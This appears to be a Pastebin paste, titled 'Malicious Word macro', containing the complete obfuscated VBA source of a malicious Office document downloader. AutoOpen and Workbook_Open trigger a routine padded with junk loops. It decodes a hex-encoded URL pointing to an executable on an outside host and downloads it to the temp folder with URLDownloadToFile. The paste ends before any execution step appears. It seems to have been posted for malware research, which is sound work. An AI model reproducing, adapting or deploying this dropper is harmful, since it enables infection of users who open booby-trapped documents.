Advertisement
dynamoo

Malicious Word macro

Jan 12th, 2015
684
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  11.     "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
  12.     ByVal szURL As String, _
  13.     ByVal szFileName As String, _
  14.     ByVal dwReserved As Long, _
  15.     ByVal lpfnCB As LongPtr) As LongPtr
  16. #Else
  17.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  18.     "URLDownloadToFileA" (ByVal pCaller As Long, _
  19.     ByVal szURL As String, _
  20.     ByVal szFileName As String, _
  21.     ByVal dwReserved As Long, _
  22.     ByVal lpfnCB As Long) As Long
  23. #End If
  24.  
  25. Sub GYretgfd()
  26.  
  27. Dim mmrmVQfE As Integer
  28.  
  29. Dim lZhPpZiG As Integer
  30.  
  31. Dim HXeDBhEA As Integer
  32. HXeDBhEA = 9
  33. Do While HXeDBhEA < 71
  34. DoEvents: HXeDBhEA = HXeDBhEA + 1
  35. Loop
  36.  
  37. lZhPpZiG = 5
  38. Do While lZhPpZiG < 37
  39.  
  40. Dim xfciBOqo As Integer
  41. xfciBOqo = 5
  42. Do While xfciBOqo < 44
  43. DoEvents: xfciBOqo = xfciBOqo + 1
  44. Loop
  45.  
  46. DoEvents: lZhPpZiG = lZhPpZiG + 1
  47.  
  48. Dim LIdaFdDK As Integer
  49. LIdaFdDK = 2
  50. Do While LIdaFdDK < 41
  51. DoEvents: LIdaFdDK = LIdaFdDK + 1
  52. Loop
  53.  
  54. Loop
  55.  
  56.  
  57. Dim TfaXlvag As Integer
  58. TfaXlvag = 9
  59. Do While TfaXlvag < 26
  60. DoEvents: TfaXlvag = TfaXlvag + 1
  61. Loop
  62.  
  63. mmrmVQfE = 5
  64. Do While mmrmVQfE < 35
  65.  
  66. Dim uebWoJUk As Integer
  67.  
  68. Dim DkuvrkbI As Integer
  69. DkuvrkbI = 8
  70. Do While DkuvrkbI < 13
  71. DoEvents: DkuvrkbI = DkuvrkbI + 1
  72. Loop
  73.  
  74. uebWoJUk = 2
  75. Do While uebWoJUk < 12
  76.  
  77. Dim YyPpIcRa As Integer
  78. YyPpIcRa = 7
  79. Do While YyPpIcRa < 25
  80. DoEvents: YyPpIcRa = YyPpIcRa + 1
  81. Loop
  82.  
  83. DoEvents: uebWoJUk = uebWoJUk + 1
  84.  
  85. Dim cizLTRqq As Integer
  86. cizLTRqq = 5
  87. Do While cizLTRqq < 43
  88. DoEvents: cizLTRqq = cizLTRqq + 1
  89. Loop
  90.  
  91. Loop
  92.  
  93.  
  94. Dim cemloRun As Integer
  95. cemloRun = 5
  96. Do While cemloRun < 31
  97. DoEvents: cemloRun = cemloRun + 1
  98. Loop
  99.  
  100. DoEvents: mmrmVQfE = mmrmVQfE + 1
  101.  
  102. Dim hzycmISh As Integer
  103.  
  104. Dim oKlTowyd As Integer
  105. oKlTowyd = 3
  106. Do While oKlTowyd < 72
  107. DoEvents: oKlTowyd = oKlTowyd + 1
  108. Loop
  109.  
  110. hzycmISh = 4
  111. Do While hzycmISh < 84
  112.  
  113. Dim coWxhinf As Integer
  114. coWxhinf = 8
  115. Do While coWxhinf < 15
  116. DoEvents: coWxhinf = coWxhinf + 1
  117. Loop
  118.  
  119. DoEvents: hzycmISh = hzycmISh + 1
  120.  
  121. Dim MZOhtQeC As Integer
  122. MZOhtQeC = 3
  123. Do While MZOhtQeC < 12
  124. DoEvents: MZOhtQeC = MZOhtQeC + 1
  125. Loop
  126.  
  127. Loop
  128.  
  129.  
  130. Dim OGivNKyg As Integer
  131. OGivNKyg = 7
  132. Do While OGivNKyg < 69
  133. DoEvents: OGivNKyg = OGivNKyg + 1
  134. Loop
  135.  
  136. Loop
  137.  
  138.  
  139. Dim oGOiVFJI As Integer
  140.  
  141. Dim bXVicatM As Integer
  142. bXVicatM = 6
  143. Do While bXVicatM < 41
  144. DoEvents: bXVicatM = bXVicatM + 1
  145. Loop
  146.  
  147. oGOiVFJI = 3
  148. Do While oGOiVFJI < 72
  149.  
  150. Dim DfnBEDbW As Integer
  151. DfnBEDbW = 8
  152. Do While DfnBEDbW < 74
  153. DoEvents: DfnBEDbW = DfnBEDbW + 1
  154. Loop
  155.  
  156. DoEvents: oGOiVFJI = oGOiVFJI + 1
  157.  
  158. Dim KPaVyTZJ As Integer
  159. KPaVyTZJ = 9
  160. Do While KPaVyTZJ < 41
  161. DoEvents: KPaVyTZJ = KPaVyTZJ + 1
  162. Loop
  163.  
  164. Loop
  165.  
  166.  
  167. Dim uaZGdlCK As Integer
  168. uaZGdlCK = 2
  169. Do While uaZGdlCK < 74
  170. DoEvents: uaZGdlCK = uaZGdlCK + 1
  171. Loop
  172.  
  173. wVVVfg
  174. End Sub
  175. Sub AutoOpen()
  176.  
  177. Dim xufUDIcL As Integer
  178.  
  179. Dim lPTxWEEe As Integer
  180.  
  181. Dim lEyEIaph As Integer
  182. lEyEIaph = 5
  183. Do While lEyEIaph < 37
  184. DoEvents: lEyEIaph = lEyEIaph + 1
  185. Loop
  186.  
  187. lPTxWEEe = 7
  188. Do While lPTxWEEe < 53
  189.  
  190. Dim oGESZodU As Integer
  191. oGESZodU = 3
  192. Do While oGESZodU < 19
  193. DoEvents: oGESZodU = oGESZodU + 1
  194. Loop
  195.  
  196. DoEvents: lPTxWEEe = lPTxWEEe + 1
  197.  
  198. Dim DkimjYUd As Integer
  199. DkimjYUd = 8
  200. Do While DkimjYUd < 13
  201. DoEvents: DkimjYUd = DkimjYUd + 1
  202. Loop
  203.  
  204. Loop
  205.  
  206.  
  207. Dim HBGLGbuh As Integer
  208. HBGLGbuh = 9
  209. Do While HBGLGbuh < 44
  210. DoEvents: HBGLGbuh = HBGLGbuh + 1
  211. Loop
  212.  
  213. xufUDIcL = 5
  214. Do While xufUDIcL < 71
  215.  
  216. Dim DfAFUiEL As Integer
  217.  
  218. Dim ZnLcvieJ As Integer
  219. ZnLcvieJ = 6
  220. Do While ZnLcvieJ < 28
  221. DoEvents: ZnLcvieJ = ZnLcvieJ + 1
  222. Loop
  223.  
  224. DfAFUiEL = 8
  225. Do While DfAFUiEL < 74
  226.  
  227. Dim bWuwkpVt As Integer
  228. bWuwkpVt = 6
  229. Do While bWuwkpVt < 13
  230. DoEvents: bWuwkpVt = bWuwkpVt + 1
  231. Loop
  232.  
  233. DoEvents: DfAFUiEL = DfAFUiEL + 1
  234.  
  235. Dim RlUwLeaz As Integer
  236. RlUwLeaz = 6
  237. Do While RlUwLeaz < 55
  238. DoEvents: RlUwLeaz = RlUwLeaz + 1
  239. Loop
  240.  
  241. Loop
  242.  
  243.  
  244. Dim IMPpQBDq As Integer
  245. IMPpQBDq = 9
  246. Do While IMPpQBDq < 85
  247. DoEvents: IMPpQBDq = IMPpQBDq + 1
  248. Loop
  249.  
  250. DoEvents: xufUDIcL = xufUDIcL + 1
  251.  
  252. Dim jWOiaZQk As Integer
  253.  
  254. Dim qZGFgkYK As Integer
  255. qZGFgkYK = 3
  256. Do While qZGFgkYK < 55
  257. DoEvents: qZGFgkYK = qZGFgkYK + 1
  258. Loop
  259.  
  260. jWOiaZQk = 4
  261. Do While jWOiaZQk < 68
  262.  
  263. Dim wkseSyVK As Integer
  264. wkseSyVK = 5
  265. Do While wkseSyVK < 73
  266. DoEvents: wkseSyVK = wkseSyVK + 1
  267. Loop
  268.  
  269. DoEvents: jWOiaZQk = jWOiaZQk + 1
  270.  
  271. Dim AOikUafM As Integer
  272. AOikUafM = 6
  273. Do While AOikUafM < 58
  274. DoEvents: AOikUafM = AOikUafM + 1
  275. Loop
  276.  
  277. Loop
  278.  
  279.  
  280. Dim KQCuPYsO As Integer
  281. KQCuPYsO = 9
  282. Do While KQCuPYsO < 79
  283. DoEvents: KQCuPYsO = KQCuPYsO + 1
  284. Loop
  285.  
  286. Loop
  287.  
  288.  
  289. Dim crxoomfx As Integer
  290.  
  291. Dim Gyqoqptg As Integer
  292. Gyqoqptg = 8
  293. Do While Gyqoqptg < 73
  294. DoEvents: Gyqoqptg = Gyqoqptg + 1
  295. Loop
  296.  
  297. crxoomfx = 5
  298. Do While crxoomfx < 71
  299.  
  300. Dim dhHFdPWN As Integer
  301. dhHFdPWN = 3
  302. Do While dhHFdPWN < 25
  303. DoEvents: dhHFdPWN = dhHFdPWN + 1
  304. Loop
  305.  
  306. DoEvents: crxoomfx = crxoomfx + 1
  307.  
  308. Dim lISeiTpe As Integer
  309. lISeiTpe = 7
  310. Do While lISeiTpe < 91
  311. DoEvents: lISeiTpe = lISeiTpe + 1
  312. Loop
  313.  
  314. Loop
  315.  
  316.  
  317. Dim snLvkIeg As Integer
  318. snLvkIeg = 6
  319. Do While snLvkIeg < 88
  320. DoEvents: snLvkIeg = snLvkIeg + 1
  321. Loop
  322.  
  323.     GYretgfd
  324. End Sub
  325. Sub Workbook_Open()
  326.  
  327. Dim YadQnnby As Integer
  328.  
  329. Dim xoXdhVYp As Integer
  330.  
  331. Dim AOybeftU As Integer
  332. AOybeftU = 6
  333. Do While AOybeftU < 58
  334. DoEvents: AOybeftU = AOybeftU + 1
  335. Loop
  336.  
  337. xoXdhVYp = 5
  338. Do While xoXdhVYp < 44
  339.  
  340. Dim dgMmIblr As Integer
  341. dgMmIblr = 4
  342. Do While dgMmIblr < 25
  343. DoEvents: dgMmIblr = dgMmIblr + 1
  344. Loop
  345.  
  346. DoEvents: xoXdhVYp = xoXdhVYp + 1
  347.  
  348. Dim FdAzoPAs As Integer
  349. FdAzoPAs = 8
  350. Do While FdAzoPAs < 36
  351. DoEvents: FdAzoPAs = FdAzoPAs + 1
  352. Loop
  353.  
  354. Loop
  355.  
  356.  
  357. Dim nKgCDXFI As Integer
  358. nKgCDXFI = 6
  359. Do While nKgCDXFI < 12
  360. DoEvents: nKgCDXFI = nKgCDXFI + 1
  361. Loop
  362.  
  363. YadQnnby = 7
  364. Do While YadQnnby < 52
  365.  
  366. Dim cthDLVEv As Integer
  367.  
  368. Dim htPkJzAi As Integer
  369. htPkJzAi = 6
  370. Do While htPkJzAi < 85
  371. DoEvents: htPkJzAi = htPkJzAi + 1
  372. Loop
  373.  
  374. cthDLVEv = 5
  375. Do While cthDLVEv < 43
  376.  
  377. Dim gyUZNBdj As Integer
  378. gyUZNBdj = 4
  379. Do While gyUZNBdj < 61
  380. DoEvents: gyUZNBdj = gyUZNBdj + 1
  381. Loop
  382.  
  383. DoEvents: cthDLVEv = cthDLVEv + 1
  384.  
  385. Dim XlvoOhqP As Integer
  386. XlvoOhqP = 9
  387. Do While XlvoOhqP < 85
  388. DoEvents: XlvoOhqP = XlvoOhqP + 1
  389. Loop
  390.  
  391. Loop
  392.  
  393.  
  394. Dim eAsqJiSF As Integer
  395. eAsqJiSF = 2
  396. Do While eAsqJiSF < 97
  397. DoEvents: eAsqJiSF = eAsqJiSF + 1
  398. Loop
  399.  
  400. DoEvents: YadQnnby = YadQnnby + 1
  401.  
  402. Dim guYxJtoO As Integer
  403.  
  404. Dim JCLPiMAx As Integer
  405. JCLPiMAx = 9
  406. Do While JCLPiMAx < 43
  407. DoEvents: JCLPiMAx = JCLPiMAx + 1
  408. Loop
  409.  
  410. guYxJtoO = 4
  411. Do While guYxJtoO < 85
  412.  
  413. Dim vaAeeiSK As Integer
  414. vaAeeiSK = 5
  415. Do While vaAeeiSK < 14
  416. DoEvents: vaAeeiSK = vaAeeiSK + 1
  417. Loop
  418.  
  419. DoEvents: guYxJtoO = guYxJtoO + 1
  420.  
  421. Dim ypGVuAXk As Integer
  422. ypGVuAXk = 2
  423. Do While ypGVuAXk < 14
  424. DoEvents: ypGVuAXk = ypGVuAXk + 1
  425. Loop
  426.  
  427. Loop
  428.  
  429.  
  430. Dim FfcjzFiD As Integer
  431. FfcjzFiD = 8
  432. Do While FfcjzFiD < 74
  433. DoEvents: FfcjzFiD = FfcjzFiD + 1
  434. Loop
  435.  
  436. Loop
  437.  
  438.  
  439. Dim EcofVJEP As Integer
  440.  
  441. Dim tkunGFAn As Integer
  442. tkunGFAn = 2
  443. Do While tkunGFAn < 15
  444. DoEvents: tkunGFAn = tkunGFAn + 1
  445. Loop
  446.  
  447. EcofVJEP = 9
  448. Do While EcofVJEP < 28
  449.  
  450. Dim bWeKnkAj As Integer
  451. bWeKnkAj = 6
  452. Do While bWeKnkAj < 41
  453. DoEvents: bWeKnkAj = bWeKnkAj + 1
  454. Loop
  455.  
  456. DoEvents: EcofVJEP = EcofVJEP + 1
  457.  
  458. Dim djPfoZkU As Integer
  459. djPfoZkU = 4
  460. Do While djPfoZkU < 53
  461. DoEvents: djPfoZkU = djPfoZkU + 1
  462. Loop
  463.  
  464. Loop
  465.  
  466.  
  467. Dim WmlYtHZz As Integer
  468. WmlYtHZz = 9
  469. Do While WmlYtHZz < 57
  470. DoEvents: WmlYtHZz = WmlYtHZz + 1
  471. Loop
  472.  
  473.     GYretgfd
  474. End Sub
  475. Sub wVVVfg()
  476.  
  477. Dim GBLjlLEw As Integer
  478.  
  479. Dim kGyxkaax As Integer
  480.  
  481. Dim CdeMjppS As Integer
  482. CdeMjppS = 1
  483. Do While CdeMjppS < 84
  484. DoEvents: CdeMjppS = CdeMjppS + 1
  485. Loop
  486.  
  487. kGyxkaax = 4
  488. Do While kGyxkaax < 39
  489.  
  490. Dim KQMZHpKM As Integer
  491. KQMZHpKM = 2
  492. Do While KQMZHpKM < 13
  493. DoEvents: KQMZHpKM = KQMZHpKM + 1
  494. Loop
  495.  
  496. DoEvents: kGyxkaax = kGyxkaax + 1
  497.  
  498. Dim YuABvmIp As Integer
  499. YuABvmIp = 9
  500. Do While YuABvmIp < 25
  501. DoEvents: YuABvmIp = YuABvmIp + 1
  502. Loop
  503.  
  504. Loop
  505.  
  506.  
  507. Dim HXVfWiNo As Integer
  508. HXVfWiNo = 9
  509. Do While HXVfWiNo < 29
  510. DoEvents: HXVfWiNo = HXVfWiNo + 1
  511. Loop
  512.  
  513. GBLjlLEw = 8
  514. Do While GBLjlLEw < 44
  515.  
  516. Dim LYwgIxYe As Integer
  517.  
  518. Dim HNEChDNX As Integer
  519. HNEChDNX = 9
  520. Do While HNEChDNX < 44
  521. DoEvents: HNEChDNX = HNEChDNX + 1
  522. Loop
  523.  
  524. LYwgIxYe = 9
  525. Do While LYwgIxYe < 88
  526.  
  527. Dim LUqwFYbB As Integer
  528. LUqwFYbB = 9
  529. Do While LUqwFYbB < 41
  530. DoEvents: LUqwFYbB = LUqwFYbB + 1
  531. Loop
  532.  
  533. DoEvents: LYwgIxYe = LYwgIxYe + 1
  534.  
  535. Dim FqUUwQiq As Integer
  536. FqUUwQiq = 8
  537. Do While FqUUwQiq < 74
  538. DoEvents: FqUUwQiq = FqUUwQiq + 1
  539. Loop
  540.  
  541. Loop
  542.  
  543.  
  544. Dim KKfuMTIg As Integer
  545. KKfuMTIg = 9
  546. Do While KKfuMTIg < 71
  547. DoEvents: KKfuMTIg = KKfuMTIg + 1
  548. Loop
  549.  
  550. DoEvents: GBLjlLEw = GBLjlLEw + 1
  551.  
  552. Dim PEofNTcl As Integer
  553.  
  554. Dim jChNsESr As Integer
  555. jChNsESr = 7
  556. Do While jChNsESr < 93
  557. DoEvents: jChNsESr = jChNsESr + 1
  558. Loop
  559.  
  560. PEofNTcl = 8
  561. Do While PEofNTcl < 39
  562.  
  563. Dim IByGfoPL As Integer
  564. IByGfoPL = 9
  565. Do While IByGfoPL < 24
  566. DoEvents: IByGfoPL = IByGfoPL + 1
  567. Loop
  568.  
  569. DoEvents: PEofNTcl = PEofNTcl + 1
  570.  
  571. Dim qYfoIELk As Integer
  572. qYfoIELk = 3
  573. Do While qYfoIELk < 28
  574. DoEvents: qYfoIELk = qYfoIELk + 1
  575. Loop
  576.  
  577. Loop
  578.  
  579.  
  580. Dim ZIrVPoHu As Integer
  581. ZIrVPoHu = 6
  582. Do While ZIrVPoHu < 58
  583. DoEvents: ZIrVPoHu = ZIrVPoHu + 1
  584. Loop
  585.  
  586. Loop
  587.  
  588.  
  589. Dim smcyjaeB As Integer
  590.  
  591. Dim cpGaMZWd As Integer
  592. cpGaMZWd = 5
  593. Do While cpGaMZWd < 44
  594. DoEvents: cpGaMZWd = cpGaMZWd + 1
  595. Loop
  596.  
  597. smcyjaeB = 3
  598. Do While smcyjaeB < 87
  599.  
  600. Dim zUDynMjD As Integer
  601. zUDynMjD = 2
  602. Do While zUDynMjD < 98
  603. DoEvents: zUDynMjD = zUDynMjD + 1
  604. Loop
  605.  
  606. DoEvents: smcyjaeB = smcyjaeB + 1
  607.  
  608. Dim TfXbMgvs As Integer
  609. TfXbMgvs = 7
  610. Do While TfXbMgvs < 26
  611. DoEvents: TfXbMgvs = TfXbMgvs + 1
  612. Loop
  613.  
  614. Loop
  615.  
  616.  
  617. Dim pQMRnYMD As Integer
  618. pQMRnYMD = 3
  619. Do While pQMRnYMD < 71
  620. DoEvents: pQMRnYMD = pQMRnYMD + 1
  621. Loop
  622.  
  623.     eFdsgfsdg = HexToString(Chr$(54) & Chr$(56) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(48) & Chr$(51) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(50) & Chr$(70) & Chr$(55) & Chr$(51) & Chr$(54) & Chr$(56) & Chr$(54) & Chr$(49) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(50) & Chr$(69) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(49) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(51) & Chr$(54) & Chr$(49) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(49) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(57) & Chr$(55) & Chr$(52) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(65) & Chr$(55) & Chr$(51) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(69) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53))
  624.  
  625. Dim slUooxyt As Integer
  626.  
  627. Dim LEIdElVI As Integer
  628.  
  629. Dim YqpxSYMH As Integer
  630. YqpxSYMH = 7
  631. Do While YqpxSYMH < 54
  632. DoEvents: YqpxSYMH = YqpxSYMH + 1
  633. Loop
  634.  
  635. LEIdElVI = 9
  636. Do While LEIdElVI < 87
  637.  
  638. Dim SvnonwpF As Integer
  639. SvnonwpF = 8
  640. Do While SvnonwpF < 76
  641. DoEvents: SvnonwpF = SvnonwpF + 1
  642. Loop
  643.  
  644. DoEvents: LEIdElVI = LEIdElVI + 1
  645.  
  646. Dim htIZMHld As Integer
  647. htIZMHld = 4
  648. Do While htIZMHld < 61
  649. DoEvents: htIZMHld = htIZMHld + 1
  650. Loop
  651.  
  652. Loop
  653.  
  654.  
  655. Dim EEnhOorE As Integer
  656. EEnhOorE = 6
  657. Do While EEnhOorE < 29
  658. DoEvents: EEnhOorE = EEnhOorE + 1
  659. Loop
  660.  
  661. slUooxyt = 3
  662. Do While slUooxyt < 25
  663.  
  664. Dim whlmfJHm As Integer
  665.  
  666. Dim OJDfYXtP As Integer
  667. OJDfYXtP = 7
  668. Do While OJDfYXtP < 32
  669. DoEvents: OJDfYXtP = OJDfYXtP + 1
  670. Loop
  671.  
  672. whlmfJHm = 5
  673. Do While whlmfJHm < 45
  674.  
  675. Dim qSOIaLSl As Integer
  676. qSOIaLSl = 3
  677. Do While qSOIaLSl < 71
  678. DoEvents: qSOIaLSl = qSOIaLSl + 1
  679. Loop
  680.  
  681. DoEvents: whlmfJHm = whlmfJHm + 1
  682.  
  683. Dim DlJzwfWK As Integer
  684. DlJzwfWK = 8
  685. Do While DlJzwfWK < 75
  686. DoEvents: DlJzwfWK = DlJzwfWK + 1
  687. Loop
  688.  
  689. Loop
  690.  
  691.  
  692. Dim aGCEiVeS As Integer
  693. aGCEiVeS = 4
  694. Do While aGCEiVeS < 24
  695. DoEvents: aGCEiVeS = aGCEiVeS + 1
  696. Loop
  697.  
  698. DoEvents: slUooxyt = slUooxyt + 1
  699.  
  700. Dim nSMmHOLj As Integer
  701.  
  702. Dim YihyYovi As Integer
  703. YihyYovi = 7
  704. Do While YihyYovi < 92
  705. DoEvents: YihyYovi = YihyYovi + 1
  706. Loop
  707.  
  708. nSMmHOLj = 8
  709. Do While nSMmHOLj < 12
  710.  
  711. Dim iNAuvaHE As Integer
  712. iNAuvaHE = 3
  713. Do While iNAuvaHE < 59
  714. DoEvents: iNAuvaHE = iNAuvaHE + 1
  715. Loop
  716.  
  717. DoEvents: nSMmHOLj = nSMmHOLj + 1
  718.  
  719. Dim BzLHxiwF As Integer
  720. BzLHxiwF = 1
  721. Do While BzLHxiwF < 92
  722. DoEvents: BzLHxiwF = BzLHxiwF + 1
  723. Loop
  724.  
  725. Loop
  726.  
  727.  
  728. Dim DlMOCddN As Integer
  729. DlMOCddN = 8
  730. Do While DlMOCddN < 75
  731. DoEvents: DlMOCddN = DlMOCddN + 1
  732. Loop
  733.  
  734. Loop
  735.  
  736.  
  737. Dim evTAniPe As Integer
  738.  
  739. Dim rnfddjCN As Integer
  740. rnfddjCN = 2
  741. Do While rnfddjCN < 17
  742. DoEvents: rnfddjCN = rnfddjCN + 1
  743. Loop
  744.  
  745. evTAniPe = 4
  746. Do While evTAniPe < 68
  747.  
  748. Dim BBtWSjTu As Integer
  749. BBtWSjTu = 1
  750. Do While BBtWSjTu < 92
  751. DoEvents: BBtWSjTu = BBtWSjTu + 1
  752. Loop
  753.  
  754. DoEvents: evTAniPe = evTAniPe + 1
  755.  
  756. Dim HawRPcqk As Integer
  757. HawRPcqk = 2
  758. Do While HawRPcqk < 44
  759. DoEvents: HawRPcqk = HawRPcqk + 1
  760. Loop
  761.  
  762. Loop
  763.  
  764.  
  765. Dim JxMoNccJ As Integer
  766. JxMoNccJ = 2
  767. Do While JxMoNccJ < 48
  768. DoEvents: JxMoNccJ = JxMoNccJ + 1
  769. Loop
  770.  
  771.     xTysdfsdf = Environ(HexToString("54454D50")) & HexToString("5C545955686664745555556473662E657865")
  772.  
  773. Dim IDxzVBIF As Integer
  774.  
  775. Dim scihMCno As Integer
  776.  
  777. Dim WNKjboOV As Integer
  778. WNKjboOV = 9
  779. Do While WNKjboOV < 82
  780. DoEvents: WNKjboOV = WNKjboOV + 1
  781. Loop
  782.  
  783. scihMCno = 3
  784. Do While scihMCno < 26
  785.  
  786. Dim sygIYhOG As Integer
  787. sygIYhOG = 3
  788. Do While sygIYhOG < 23
  789. DoEvents: sygIYhOG = sygIYhOG + 1
  790. Loop
  791.  
  792. DoEvents: scihMCno = scihMCno + 1
  793.  
  794. Dim phmuEjuX As Integer
  795. phmuEjuX = 3
  796. Do While phmuEjuX < 77
  797. DoEvents: phmuEjuX = phmuEjuX + 1
  798. Loop
  799.  
  800. Loop
  801.  
  802.  
  803. Dim lqwuUzdG As Integer
  804. lqwuUzdG = 5
  805. Do While lqwuUzdG < 96
  806. DoEvents: lqwuUzdG = lqwuUzdG + 1
  807. Loop
  808.  
  809. IDxzVBIF = 7
  810. Do While IDxzVBIF < 32
  811.  
  812. Dim iLlxhmud As Integer
  813.  
  814. Dim mermzpQR As Integer
  815. mermzpQR = 7
  816. Do While mermzpQR < 94
  817. DoEvents: mermzpQR = mermzpQR + 1
  818. Loop
  819.  
  820. iLlxhmud = 3
  821. Do While iLlxhmud < 11
  822.  
  823. Dim ECrmtWJc As Integer
  824. ECrmtWJc = 9
  825. Do While ECrmtWJc < 23
  826. DoEvents: ECrmtWJc = ECrmtWJc + 1
  827. Loop
  828.  
  829. DoEvents: iLlxhmud = iLlxhmud + 1
  830.  
  831. Dim rCTkIVcq As Integer
  832. rCTkIVcq = 2
  833. Do While rCTkIVcq < 11
  834. DoEvents: rCTkIVcq = rCTkIVcq + 1
  835. Loop
  836.  
  837. Loop
  838.  
  839.  
  840. Dim IbuiMdYT As Integer
  841. IbuiMdYT = 7
  842. Do While IbuiMdYT < 66
  843. DoEvents: IbuiMdYT = IbuiMdYT + 1
  844. Loop
  845.  
  846. DoEvents: IDxzVBIF = IDxzVBIF + 1
  847.  
  848. Dim nQzSmBUW As Integer
  849.  
  850. Dim TGFEYoZF As Integer
  851. TGFEYoZF = 7
  852. Do While TGFEYoZF < 22
  853. DoEvents: TGFEYoZF = TGFEYoZF + 1
  854. Loop
  855.  
  856. nQzSmBUW = 6
  857. Do While nQzSmBUW < 11
  858.  
  859. Dim kxgPfrlU As Integer
  860. kxgPfrlU = 4
  861. Do While kxgPfrlU < 98
  862. DoEvents: kxgPfrlU = kxgPfrlU + 1
  863. Loop
  864.  
  865. DoEvents: nQzSmBUW = nQzSmBUW + 1
  866.  
  867. Dim VPujCmka As Integer
  868. VPujCmka = 1
  869. Do While VPujCmka < 88
  870. DoEvents: VPujCmka = VPujCmka + 1
  871. Loop
  872.  
  873. Loop
  874.  
  875.  
  876. Dim Ivtbdtmm As Integer
  877. Ivtbdtmm = 7
  878. Do While Ivtbdtmm < 66
  879. DoEvents: Ivtbdtmm = Ivtbdtmm + 1
  880. Loop
  881.  
  882. Loop
  883.  
  884.  
  885. Dim jKWpOpXl As Integer
  886.  
  887. Dim szRAIkgC As Integer
  888. szRAIkgC = 6
  889. Do While szRAIkgC < 46
  890. DoEvents: szRAIkgC = szRAIkgC + 1
  891. Loop
  892.  
  893. jKWpOpXl = 4
  894. Do While jKWpOpXl < 83
  895.  
  896. Dim SBmdyuld As Integer
  897. SBmdyuld = 8
  898. Do While SBmdyuld < 72
  899. DoEvents: SBmdyuld = SBmdyuld + 1
  900. Loop
  901.  
  902. DoEvents: jKWpOpXl = jKWpOpXl + 1
  903.  
  904. Dim srxeHZbP As Integer
  905. srxeHZbP = 3
  906. Do While srxeHZbP < 51
  907. DoEvents: srxeHZbP = srxeHZbP + 1
  908. Loop
  909.  
  910. Loop
  911.  
  912.  
  913. Dim qpCBTcVS As Integer
  914. qpCBTcVS = 3
  915. Do While qpCBTcVS < 52
  916. DoEvents: qpCBTcVS = qpCBTcVS + 1
  917. Loop
  918.  
  919.     pYTgyhf = URLDownloadToFile(0&, eFdsgfsdg, xTysdfsdf, 0&, 0&)
  920.    Dim gffUYUdfg
  921.  
  922. Dim OIHZnNTe As Integer
  923.  
  924. Dim QxFDRQUj As Integer
  925.  
  926. Dim srmmomfb As Integer
  927. srmmomfb = 3
  928. Do While srmmomfb < 84
  929. DoEvents: srmmomfb = srmmomfb + 1
  930. Loop
  931.  
  932. QxFDRQUj = 8
  933. Do While QxFDRQUj < 38
  934.  
  935. Dim lkPuCpEc As Integer
  936. lkPuCpEc = 4
  937. Do While lkPuCpEc < 97
  938. DoEvents: lkPuCpEc = lkPuCpEc + 1
  939. Loop
  940.  
  941. DoEvents: QxFDRQUj = QxFDRQUj + 1
  942.  
  943. Dim yKXfqluY As Integer
  944. yKXfqluY = 2
  945. Do While yKXfqluY < 11
  946. DoEvents: yKXfqluY = yKXfqluY + 1
  947. Loop
  948.  
  949. Loop
  950.  
  951.  
  952. Dim bbcizcon As Integer
  953. bbcizcon = 8
  954. Do While bbcizcon < 71
  955. DoEvents: bbcizcon = bbcizcon + 1
  956. Loop
  957.  
  958. OIHZnNTe = 1
  959. Do While OIHZnNTe < 31
  960.  
  961. Dim pUllTsxz As Integer
  962.  
  963. Dim pmMmUbwS As Integer
  964. pmMmUbwS = 3
  965. Do While pmMmUbwS < 16
  966. DoEvents: pmMmUbwS = pmMmUbwS + 1
  967. Loop
  968.  
  969. pUllTsxz = 5
  970. Do While pUllTsxz < 71
  971.  
  972. Dim JbbXtolV As Integer
  973. JbbXtolV = 9
  974. Do While JbbXtolV < 76
  975. DoEvents: JbbXtolV = JbbXtolV + 1
  976. Loop
  977.  
  978. DoEvents: pUllTsxz = pUllTsxz + 1
  979.  
  980. Dim cDkZFbjk As Integer
  981. cDkZFbjk = 5
  982. Do While cDkZFbjk < 12
  983. DoEvents: cDkZFbjk = cDkZFbjk + 1
  984. Loop
  985.  
  986. Loop
  987.  
  988.  
  989. Dim YQVrXQvf As Integer
  990. YQVrXQvf = 7
  991. Do While YQVrXQvf < 21
  992. DoEvents: YQVrXQvf = YQVrXQvf + 1
  993. Loop
  994.  
  995. DoEvents: OIHZnNTe = OIHZnNTe + 1
  996.  
  997. Dim gtLkurbV As Integer
  998.  
  999. Dim xLHOODZn As Integer
  1000. xLHOODZn = 5
  1001. Do While xLHOODZn < 41
  1002. DoEvents: xLHOODZn = xLHOODZn + 1
  1003. Loop
  1004.  
  1005. gtLkurbV = 6
  1006. Do While gtLkurbV < 56
  1007.  
  1008. Dim YHZWFidG As Integer
  1009. YHZWFidG = 7
  1010. Do While YHZWFidG < 59
  1011. DoEvents: YHZWFidG = YHZWFidG + 1
  1012. Loop
  1013.  
  1014. DoEvents: gtLkurbV = gtLkurbV + 1
  1015.  
  1016. Dim FLQiTXyY As Integer
  1017. FLQiTXyY = 2
  1018. Do While FLQiTXyY < 43
  1019. DoEvents: FLQiTXyY = FLQiTXyY + 1
  1020. Loop
  1021.  
  1022. Loop
  1023.  
  1024.  
